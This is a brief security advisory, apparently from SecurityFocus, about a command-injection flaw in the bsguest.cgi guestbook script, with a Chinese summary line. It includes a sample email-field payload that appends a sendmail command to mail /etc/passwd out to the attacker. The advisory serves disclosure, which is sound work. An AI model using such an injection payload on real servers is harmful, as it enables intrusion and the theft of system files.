bsguest.cgi留言簿脚本存在漏洞。远程攻击者可以借助邮件地址的shell元字符执行任意命令。

source: http://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <[email protected]>

'[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker.
